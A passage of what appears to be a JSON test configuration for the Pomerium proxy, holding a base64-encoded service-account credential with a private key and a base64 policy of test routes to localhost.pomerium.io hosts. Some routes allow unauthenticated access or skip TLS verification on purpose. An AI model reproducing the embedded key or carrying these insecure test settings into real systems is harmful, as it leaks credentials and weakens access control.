pPYnNhUWdKNUxMeFxuQ1lkSW1rcjc3WDJMTXVEdy8xdHBINjQyR0UyNU5yZ202UUhseUtTZllYbzM4djgzZWJFcWJaVURHK1ppb0FyUFxubXFta2F3VVd3M2VraGo4MFNKZy9USzlQUmFOL1Z2Y0kxUGdBZDdMWnp0VVJlU21UeTVoZDlyNnJPQnhweHduVFxuRHZIa0JuNnZBZ01CQUFFQ2dnRUFCMjhpMEFZVU5TYjFKbldGYkt6cnVVY3R1M3RDTlhvdkpnNkszQmlQVk1rcVxuRFQxWHJKSWdGNVJISE9scjNPc0xFNnU3WHoyY3RkTUw2UHNoaUtUdEl3dEdwaXZnUnBDaUpFc2xtcjJ6aThBV1xuOGVKZXFSTFpFZnNTU0pPWFRHN1JkR3NuNHFIRkowMHMyWlRsY0lIU1B3bkZtK1hqSmk5OVU4RzRYc1VvWG8wclxuR3krMFZDdVU3TThnSUNFSEhzclFPOVhERDNuVDJqaXU1VGpyS3dqdXQzRW1vSnNzSTVicXgzMytPQnU1QnBDUFxuQ1Q0NzNENDNQOXAzcWkvWG5mdnFHU0cyT2o0T2FqVjRmcjBvOUIzS3ZJeGtNZW03V2xJM2p5eTFrQXB5WHFWVFxuYkxrTEZ5V0JOVFdVWjJSLzJ3eG11b0M2bUxadzg3OU1MQ0tNdmsxZG9RS0JnUURobXdHYWZKTnltVGlFUVpSSVxuU3NReDRzZXFmT0tmZ0ZDN29ocUg5Y1JPT3U4SUoxbzdxMnBNMlc0WGlWK1Mzd1RkUEdtY2E2SU9qWDIzaXNWQlxuMnVxTmk5UzRNbkkyL2QyMkdkL0JSOXJ2QncxZUdKb0ticld4MjJmRThRQ0VXVDFBbk8rRHVEMGpDODV5UmxzN1xuYXh6bGFNcnhFdTNMSTlVRTdOdHJkUWlCeVFLQmdRRFZkSTZjZUlWQlQ2Umd2Vkd0OHprTGpQSUZqaFFFSEFJcFxudWhpcmdxcFM2Q1g5Qmx5ZjIrbzQwem1majNoZTVyQ2NFb0I1TXNlTStEZ0ZiY1ZoMmUvTVZuWWlOTnc2SkNEQlxuQlFrRjQwOHBacFNlS1h2TC9veVYva0ltTVRKL3RVRFkwRVh4TXdTUEpCMFdsdGJXcmVWSUhvcGlnWFJDYmFleVxudUJIVkJ2LzR0d0tCZ0h3SHVlUHk1U1UxczJxU216RDdXYzJMUGZZdTNuQ09ITlJyRkdiMjZNdVJmdVJlcmk3clxuMkc4VGdvRVNGeWNwMFFUSU44KzFKTTBYWUt4TmNKRDZCOFYxd0tiYnBRc3ltbmVJMWdqdXRpQi9JZ3cvUGtES1xuQ0w0VlA0RjRkYTVOV1cxeVdnTnlnTG9KdlovNXFpS0tpc0pjMEdXazRIS3o2bUxnek9qUTJMSnhBb0dCQUxIWlxuZk4yWWVZYnlZY2FNMTFwMVZpbHVsVlRWalkzaS9GWmlEUjRTTC9JR0pXak4vU3pnNGlYWXNLRm11K2R1bE9abFxuY0JBTHBFS3JxcG16WFl0ck42YnN2MTgrNWVPM3FHYksyRHJFcTNlV1ZldjJLb1RNb2J4ejdnKytYQklXSm1MQVxuSGhhYTZJaVBrWUQ1eXlWeUhLRGJlWGdiM285ZXFDUjd3N2ZZTGp5L0FvR0FJNEQrTUZraXZ3VUY3aHFmNWVkU1xuS3JsdHdtb2RIaXFYTmJWa3diVzFBRlBKYmlZYWk0WUZmSzRJQWJpZi9ZbXhmOUc3OGFPa3I5WnBDSXpPa0RQWlxuWXBFd1FHV3NBaEVsQ0Z2YzhFLzVkSEVTU3ArdFd0UCtObHVpbXBGcWlEZzMvU1VuTXdPMnhIMG5oTGEwemVqaFxuZ21MaDR3L0NjUHliOVp5WGNlV1UvblU9XG4tLS0tLUVORCBQUklWQVRFIEtFWS0tLS0tXG4iLAoicHJpdmF0ZV9rZXlfaWQiOiAiZTA3ZjdjOTM4NzBjN2UwM2Y4ODM1NjBlY2Q4ZmQwZjRkMjdiMDA4MSIsCiJwcm9qZWN0X2lkIjogInBvbWVyaXVtLXJlZGFjdGVkIiwKInRva2VuX3VyaSI6ICJodHRwOi8vbW9jay1pZHA6ODAyNC90b2tlbiIsCiJ0eXBlIjogInNlcnZpY2VfYWNjb3VudCIKfQ==", "IDP_CLIENT_ID": "CLIENT_ID", "IDP_CLIENT_SECRET": "CLIENT_SECRET", "IDP_PROVIDER": "oidc", "IDP_PROVIDER_URL": "https://mock-idp.localhost.pomerium.io/", "JWT_CLAIMS_HEADERS": "email,groups,user", "LOG_LEVEL": "info", "POLICY": "Wwp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vbW9jay1pZHAubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInByZXNlcnZlX2hvc3RfaGVhZGVyIjogdHJ1ZSwKInRvIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0Igp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vZW52b3kubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly9sb2NhbGhvc3Q6OTkwMSIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vdmVyaWZ5LmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXNzX2lkZW50aXR5X2hlYWRlcnMiOiB0cnVlLAoidG8iOiAiaHR0cDovL3ZlcmlmeTo4MCIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiYWxsb3dfd2Vic29ja2V0cyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vd2Vic29ja2V0LWVjaG8ubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly93ZWJzb2NrZXQtZWNobzo4MCIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vZm9ydGlvLXVpLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJ0byI6ICJodHRwczovL2ZvcnRpbzo4MDgwIgp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vZm9ydGlvLXBpbmcubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRsc19jdXN0b21fY2EiOiAiTFMwdExTMUNSVWRKVGlCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2sxSlNVVXhla05EUVhvclowRjNTVUpCWjBsUldqRXpPV05rTDNCaFVHUnJVekpLZVVGMU4ydEZSRUZPUW1kcmNXaHJhVWM1ZHpCQ1FWRnpSa0ZFUTBJS1ozcEZaVTFDZDBkQk1WVkZRMmhOVm1KWGRHcGFXRW93U1VkU2JHUnRWbk5pTTBKMFdsYzFNRWxGVGtKTlUzZDNTMmRaUkZaUlVVeEVRMDVxV1ZkNGJBcFphMEpxV1ZkNGJGbHBNWGRaZVRGellWYzFNV1ZEUVc5Uk1rWnpXbGRKWjFKSE9UUmpNbFkxUzFSRmVrMUVSVWRCTVZWRlFYZDNjV0pYZEdwYVdFb3dDa2xIVG1oaVIxWnBVVWRPYUdKSFZtbE1XRUpxVEZkNGNHSnVWalJKUTJoRVdWZDRiRmxwUWtWaU0yaDZXbGhyY0UxQ05GaEVWRWw0VFVSbmVFMUVSVE1LVFhwSmQwOVdiMWhFVkUxNFRVUm5lRTFFUlROTmVrbDNUMVp2ZDJkWlRYaElha0ZqUW1kT1ZrSkJiMVJHVnpGeVdUSldlV1JEUW10YVdGcHNZa2M1ZHdwaVYxWjFaRU5DUkZGVVJYTk5RMjlIUVRGVlJVTjNkMnBaTWtaeldsZEtRVmt5Um5OYVYwbDBZMGROZEdKSGJIVmtXR2RuUzBWT2FHSkhWbWxKUlZKMkNtVklUbXhsVTJ0NFRYcEJlRUpuVGxaQ1FVMU5TMjB4Y2xreVZubGtRMEpxV1ZkNGJGbHJRbXBaVjNoc1dXa3hkMWw1TVhOaFZ6VXhaVU5CYjFFeVJuTUtXbGRKWjFKSE9UUmpNbFkxUzFSRFEwRmhTWGRFVVZsS1MyOWFTV2gyWTA1QlVVVkNRbEZCUkdkblIxQkJSRU5EUVZsdlEyZG5SMEpCVG1KTGVVMTZOUXBOVmxjMldVdGthbWd4YjBsT01VMXVOMUJGTW5CSU5WTmlTbE53VjNoa1FVZG9aRUpyUW10d1FXRTNUM2hoY21wSU5VdFdhME5VVTJFM2IyNWpiR0UzQ25GT2RVcGFVelp0UW0xdmVFWXJVaXRqVWpOcWVVZGtWVUZaYkc5NmJERnFiR1p4VEVsbVF5OHJaemRXTjFadFQwcHVPVGgwYWtJME1tWmhkSGhNYkRZS1YxQkJkekZLUkU1elYzUlJabWhMYUdKalNIVjBOMUp6UmpCeVRVOVBTR04zZVhkVVVqZE1UM2xEYlVsbGJERndZMjF3VmpSb1lsWmpWRFpsVm5kdlVBcElXSGxLVTJFNVkzRmhUVkUxV0hKa2IyZGhhVFJKY1ZwYVNVZE1TR1ZNYzFSV2RYUlBaMHBHV0VWbGRteFlMMUZVTTNOWGIyMUZZM1I2YURNNFNuTTBDamxFYVVGUVJEWmtORmszTDBOUVRGbEZabXN5T1VwUk9VNWFhSEJuUkhOcE9XaDFOVVpJU0ZwaldIZG1NVWxJYkhjdlEwSldaMjQyYWl0cWJYWkxTM29LT1RCTllURnZjWFYyTTFjMlpIUjBhV1F2ZUVOalRFZDFNbE1yT1RaVWVuSjVhMjF2ZVRWV1lXTk1kRlpGVURReFdXMXZWbXh6T1RGeWJHODNiMnh3WlFwUlYwWmlibTFqYnpjek9WUkpMelJvSzBodlpHOXNjR1Z5VVVWU1VXdzNkVU51Y0V0V1VGb3pWMjlyUzNWU2FEVndhM0ZyVVhBdllYSlJhblIzWTFKMENrYzBNME55UkhCaWJDdDFVMnBOUTBGNGFHRTVOVGhsVkZsMmRHOXFWRTF1ZGt4MGMwZEpSREZvUjFodWNXeDNLelZMYWt0eVoxSkljbEZKUkVGUlFVSUtiekJWZDFGNlFVOUNaMDVXU0ZFNFFrRm1PRVZDUVUxRFFXZFJkMFZuV1VSV1VqQlVRVkZJTDBKQlozZENaMFZDTDNkSlFrRkVRV1JDWjA1V1NGRTBSUXBHWjFGVmFGbGFXVmRKUWtoNWF6WmFWbFJ1Y0ROc1VuUXZkSGxDVURBd2QwUlJXVXBMYjFwSmFIWmpUa0ZSUlV4Q1VVRkVaMmRIUWtGQk1VWXZZWEJ5Q213MmNFNVVNMDF3TDAxNGFGVlZaMjgyZFhORlNrTnllVWRSWTB4U1ptVjRlVkZZUjA0emFIVkRiVWx5VURVMVZrWmhPRVZVVUVGMGFuTnlObEJOWlRjS04zWjJSV280WlVaMU1rcDBTMjkyYkZGM1RtVjNXVlU1WTJwQlRVTldZVVpwVG1KeVVXRXlNR2g2YUZkak1tcHpObVI1YVd4a1JUWXZSRkI2WW1Wa2N3cExSRUY0YUVaT2NETTFVMngzZEZKMFMyc3hVM3A0U25oemNWTjNhbVo0U1RobWNDdFNMekIzVHpobk1HWlhWR1JOTW1kRGNGSjNXVTFPZDBwRlRFVm5DaXRrVTJ4MlNrTjNkWFVyY25wNFRHRnNlbUZRUmpGUVRWUlhOekpQUlV4aGJDOXFOWE5FS3pKV2VYUlJOR3NyU0ZWRVlubDBNa1J1VVZRM1dWRXplbThLY1RBeWVESjFNbk50TVZkWEwyOHZkV2c0Y0dwUWVHdEhVWEZNTW0xeWVWcHpObFpJT1ZaRFZUTlJhMHRPUkhOelRtUTNNV3h5TTNkUWIwVTBXVkpJWlFwVmRucEVNV1ZFWldWc2VrSlZSazVKY0VSRGFtUkRjMHcxTlhsSlVIRlZjM0kyYkcxcWNFSlFUREIyWldFek0xRlVUV0pqYzFONGRUQjFiVWRZUkdKVkNqWTJhblZWTkZveGFrOUZNSGREYkVsMllVODJPVGxLSzBVeVowSmxNV3BWVGpaQmREWmlPRUpUYjFweFEzRllXVzlFU0VkbGFUbFNRbFZrZG1keGRHOEthMVp6YjBwbVJFa3ZWRVpOWld0WlozQk1OVlZXV1cxTVpHWm5jVXhRVUZKUU9YQlJRa3hFZUROdGMzcGxRWEZ1ZG1aVVNVTkJlbVpZWnowOUNpMHRMUzB0UlU1RUlFTkZVbFJKUmtsRFFWUkZMUzB0TFMwSyIsCiJ0bHNfc2VydmVyX25hbWUiOiAiZm9ydGlvLXBpbmcubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHBzOi8vZm9ydGlvOjgwNzkiCn0sCnsKImFsbG93X2FueV9hdXRoZW50aWNhdGVkX3VzZXIiOiB0cnVlLAoiZnJvbSI6ICJ0Y3AraHR0cHM6Ly9yZWRpcy5sb2NhbGhvc3QucG9tZXJpdW0uaW86NjM3OSIsCiJ0byI6ICJ0Y3A6Ly9yZWRpczo2Mzc5Igp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInBhdGgiOiAiL3Rscy1za2lwLXZlcmlmeS1lbmFibGVkIiwKInRsc19za2lwX3ZlcmlmeSI6IHRydWUsCiJ0byI6ICJodHRwczovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtc2tpcC12ZXJpZnktZGlzYWJsZWQiLAoidGxzX3NraXBfdmVyaWZ5IjogZmFsc2UsCiJ0byI6ICJodHRwczovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtc2VydmVyLW5hbWUtZW5hYmxlZCIsCiJ0bHNfc2VydmVyX25hbWUiOiAiaHR0cGRldGFpbHMubG9jYWxob3N0Lm5vdHBvbWVyaXVtLmlvIiwKInRvIjogImh0dHBzOi8vd3JvbmdseS1uYW1lZC1odHRwZGV0YWlsczo4NDQzIgp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInBhdGgiOiAiL3Rscy1zZXJ2ZXItbmFtZS1kaXNhYmxlZCIsCiJ0byI6ICJodHRwczovL3dyb25nbHktbmFtZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtY3VzdG9tLWNhLWVuYWJsZWQiLAoidGxzX2N1c3RvbV9jYSI6ICJMUzB0TFMxQ1JVZEpUaUJEUlZKVVNVWkpRMEZVUlMwdExTMHRDazFKU1VVeVJFTkRRVEJEWjBGM1NVSkJaMGxTUVV4a09VZGhTbEk1TW5GcE4zRk1NV1ZJUjAwMlN6QjNSRkZaU2t0dldrbG9kbU5PUVZGRlRFSlJRWGNLWjFsTmVFaHFRV05DWjA1V1FrRnZWRVpYTVhKWk1sWjVaRU5DYTFwWVdteGlSemwzWWxkV2RXUkRRa1JSVkVWelRVTnZSMEV4VlVWRGQzZHFXVEpHY3dwYVYwcEJXVEpHYzFwWFNYUmpSMDEwWWtkc2RXUllaMmRMUlU1b1lrZFdhVWxGVW5abFNFNXNaVk5yZUUxNlFYaENaMDVXUWtGTlRVdHRNWEpaTWxaNUNtUkRRbXBaVjNoc1dXdENhbGxYZUd4WmFURjNXWGt4YzJGWE5URmxRMEZ2VVRKR2MxcFhTV2RTUnprMFl6SldOVXRVUVdWR2R6QjVUVlJCTkUxVVJYa0tUVlJWTWsxVVFtRkdkekI2VFZSQk5FMVVSWGxOVkZVeVRWUkNZVTFKUjBSTlVqUjNTRUZaUkZaUlVVdEZlRlowWVRKT2JHTnVVV2RhUjFZeVdsZDRkZ3BqUnpGc1ltNVJaMUV3UlhoTVJFRnhRbWRPVmtKQmMwMUpNazVvWWtkV2FWRkhUbWhpUjFacFRGaENha3hYZUhCaWJsWTBTVU5vUkZsWGVHeFphVUpGQ21JemFIcGFXR3R3VFZSTmQwMVJXVVJXVVZGRVJFTndkR0V5VG14amJsRm5XVEpHYzFwWFNrRlpNa1p6V2xkSmRHTkhUWFJpUjJ4MVpGaG5aMHRGVG1nS1lrZFdhVWxGVW5abFNFNXNaVk5yZDJkblIybE5RVEJIUTFOeFIxTkpZak5FVVVWQ1FWRlZRVUUwU1VKcWQwRjNaMmRIUzBGdlNVSm5VVVJYV1hCV1pRcENVMjVsWlRKalFVSlpiMlpUYjFkNFIwMTVSbUZOVVRCdVNtdFpNRlZYVFRsamEzbFZhRGRXWm1kT0t5OWhSbE5YTWxwVGJWaDFkalZrY21Od2FUSXdDbm96Wld4b1VGUmxPVGhpUVU1aWFpc3ZZbWt3TURFMVVWZHVUV1Z1U3pBMVdrczJjVVIwUm5kdkwwaFdReTlaWTJGeWRYVTVOaXN4U2pKMGIyVlhkVVVLZEhsclZ6Tk5RM0JETVhCSVdWTTFaemxwVmtScmNHUnllbTUyV0V0c1dYVlRhV3RxY21vM1N6VjBiMmxVZG5WdE9UZE1lRXRyZFdvMlJGaHFZWEJRUkFvMWRuUmxVMDR4WkZGblR6bERVek56Y1d4amQxbEJObEpxVlVoM1dUSldSV2d5WVdSUU16ZENXbkphZDA4cmVVcHhPWEZHTlhrMVIyeG5hVGhzVGpSakNrdHNTV3hHVlhNdmVGTndVWE40VG1KT1VWaDBUamx0YXpScGJWbHNXa2Q2V1ZsaVltMHJabTlDVmxCUVltOWhOV3BXZDB0RWNGbzJOVzFQY3pkS1IxQUtObmxxS3pkV04xVkNUVVp3Vnl0blMyMUtkR2RvTDJ0clFYZ3hPRFZvT1ROeGQweEdVR000TDFRM2Jpc3JVREZpZFN0bVlXdFlVRWRRUlRJeGNrUmxUQXBRYmxWdGRXTkpXbkJLYnpWT2NGbFdVWFkwVjNaVVMzRXZlazFTT1ZOemNIb3lVRVpLYmtWU1ZHWlVkbkVyUmpGeE0xcE9ZV1pGZW1sUWMwSTViMlZUQ201cWVIZHRZVnBQVTFZd2RsaHhMM0ZsYjNGNE5IWTJUVUo2VmtGWk1DODRVakpNWTNCS05IVm5NRTlhTTNjd1lqSjBObmx2T0RaUU5WRTRRMEYzUlVFS1FXRk9SazFGVFhkRVoxbEVWbEl3VUVGUlNDOUNRVkZFUVdkSlJVMUNTVWRCTVZWa1JYZEZRaTkzVVVsTlFWbENRV1k0UTBGUlFYZElVVmxFVmxJd1R3cENRbGxGUmt4aldUaEZiMDV2WmsxamNuSjRlbmw0U1c0elZ6WmFUMDFXV0UxQk1FZERVM0ZIVTBsaU0wUlJSVUpEZDFWQlFUUkpRbWRSUTFwNlJFTjJDa3RKU0ZnelIzWnFUbE5aTlhjMVlrOXVORVV6ZHpkUlNGQXdPVUZDYWxRdmQzVlVORXhFYTFwSVNrMXRiSEpNYnpOek9HSmpjMUV3YzAxRU1Wa3ZMeThLY3pBM1kzQTBlRmxzY1VRM1FrRXdRV053ZGxsV1dYRTFPSGhMZUhOdlEzZFdXRzFITldORlpVOXZXbTFYWmpOeFdUSnRVemhsVnprMmRrOUdjbVJKWWdwTU5FOUdOSGhaVlU5TlVuRkJUMGRCUVhJMlZteFBOMmRZWVRRd05raDZjbk5CTVdoWlduZHlaVmhvVDFSRFdscFFXazlWYmtGMU1EVlRTRVprWjJGTkNsUktUa0l2YnpBeGRIQjNVV3h5VkhoT2JXWnliM0J2VDNwNWRYWklNSHBWTWxKeVRYTXdLMFZpVDNWRE5FRXlZMUU0TTBSSlJuaDJjVFkzYkhsVk1FRUtjekZSTm5SU1RUQXJWVVJ0U2s5TWVqTlRaR2RPSzBRd01HaGpkWFZxT1RKSFZqUmlTRGhDWm5sVmRqaE9RMWt3ZGtScGFqQlVVMnBxTkdNMFVYUmpOd3BKVUV4VVdqSm5OVFExYjJONmFFNW5RVzFVTjJRclFqVkpibmxtYVZOSlMyVnRXSEZsY3pKcWNHbEJabnBRVG13NVFsWjRjMkZyWTNNdldYcHZXWE14Q2l0eFZHcEJWM1ZoUkhOTGIyaEZiazgwUWtwMWVuWXdlSEpqWlRRd1pXNVNaMWg1UjBkR2RsaDFNbk0wUmxreWRrcHhWRk52Tm5selJGZHVhRWt6VEZjS1pHTm5Oazh5UmpSQlVFTkhSMlUzZW5OMWNXbHhhM0JqYTI1Q1lXSm5la1Z6T1dadlNIRXliV1p2TjFocFJYcGxaRTFPT0VKT2NXWlRZa0U5Q2kwdExTMHRSVTVFSUVORlVsUkpSa2xEUVZSRkxTMHRMUzBLIiwKInRsc19zZXJ2ZXJfbmFtZSI6ICJodHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoidG8iOiAiaHR0cHM6Ly91bnRydXN0ZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtY3VzdG9tLWNhLWRpc2FibGVkIiwKInRvIjogImh0dHBzOi8vdW50cnVzdGVkLWh0dHBkZXRhaWxzOjg0NDMiCn0sCnsKImNvcnNfYWxsb3dfcHJlZmxpZ2h0IjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9jb3JzLWVuYWJsZWQiLAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfSwKewoiY29yc19hbGxvd19wcmVmbGlnaHQiOiBmYWxzZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9jb3JzLWRpc2FibGVkIiwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93X3B1YmxpY191bmF1dGhlbnRpY2F0ZWRfYWNjZXNzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9wcmVzZXJ2ZS1ob3N0LWhlYWRlci1lbmFibGVkIiwKInByZXNlcnZlX2hvc3RfaGVhZGVyIjogdHJ1ZSwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93X3B1YmxpY191bmF1dGhlbnRpY2F0ZWRfYWNjZXNzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9wcmVzZXJ2ZS1ob3N0LWhlYWRlci1kaXNhYmxlZCIsCiJwcmVzZXJ2ZV9ob3N0X2hlYWRlciI6IGZhbHNlLAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vcmVzdHJpY3RlZC1odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93ZWRfZG9tYWlucyI6IFsKImRvZ3MudGVzdCIKXSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInByZWZpeCI6ICIvYnktZG9tYWluIiwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93ZWRfdXNlcnMiOiBbCiJ1c2VyMUBkb2dzLnRlc3QiCl0sCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInBhc3NfaWRlbnRpdHlfaGVhZGVycyI6IHRydWUsCiJwcmVmaXgiOiAiL2J5LXVzZXIiLAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKImxiX3BvbGljeSI6ICJST1VORF9ST0JJTiIsCiJwcmVmaXgiOiAiL3JvdW5kLXJvYmluIiwKInRvIjogWwoiaHR0cDovL3RydXN0ZWQtMS1odHRwZGV0YWlsczo4MDgwIiwKImh0dHA6Ly90cnVzdGVkLTItaHR0cGRldGFpbHM6ODA4MCIsCiJodHRwOi8vdHJ1c3RlZC0zLWh0dHBkZXRhaWxzOjgwODAiCl0KfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKImxiX3BvbGljeSI6ICJSSU5HX0hBU0giLAoicHJlZml4IjogIi9yaW5nLWhhc2giLAoidG8iOiBbCiJodHRwOi8vdHJ1c3RlZC0xLWh0dHBkZXRhaWxzOjgwODAiLAoiaHR0cDovL3RydXN0ZWQtMi1odHRwZGV0YWlsczo4MDgwIiwKImh0dHA6Ly90cnVzdGVkLTMtaHR0cGRldGFpbHM6ODA4MCIKXQp9LAp7CiJhbGxvd19hbnlfYXV0aGVudGljYXRlZF91c2VyIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoibGJfcG9saWN5IjogIk1BR0xFViIsCiJwcmVmaXgiOiAiL21hZ2xldiIsCiJ0byI6IFsKImh0dHA6Ly90cnVzdGVkLTEtaHR0cGRldGFpbHM6ODA4MCIsCiJodHRwOi8vdHJ1c3RlZC0yLWh0dHBkZXRhaWxzOjgwODAiLAoiaHR0cDovL3RydXN0ZWQtMy1odHRwZGV0YWlsczo4MDgwIgpdCn0sCnsKImFsbG93X3B1YmxpY191bmF1dGhlbnRpY2F0ZWRfYWNjZXNzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInNldF9yZXF1ZXN0X2hlYWRlcnMiOiB7CiJYLUN1c3RvbS1SZXF1ZXN0LUhlYWRlciI6ICJjdXN0b20tcmVxdWVzdC1oZWFkZXItdmFsdWUiCn0sCiJ0byI6ICJodHRwOi8vdHJ1c3RlZC1odHRwZGV0YWlsczo4MDgwIgp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJhbGxvd193ZWJzb2NrZXRzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9lbmFibGVkLXdzLWVjaG8ubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly93ZWJzb2NrZXQtZWNobzo4MCIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2Rpc2FibGVkLXdzLWVjaG8ubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly93ZWJzb2NrZXQtZWNobzo4MCIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZW5hYmxlX2dvb2dsZV9jbG91ZF9zZXJ2ZXJsZXNzX2F1dGhlbnRpY2F0aW9uIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9jbG91ZHJ1bi5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInNldF9yZXF1ZXN0X2hlYWRlcnMiOiB7CiJ4LWlkcCI6ICJvaWRjIgp9LAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfQpd", "SHARED_SECRET": 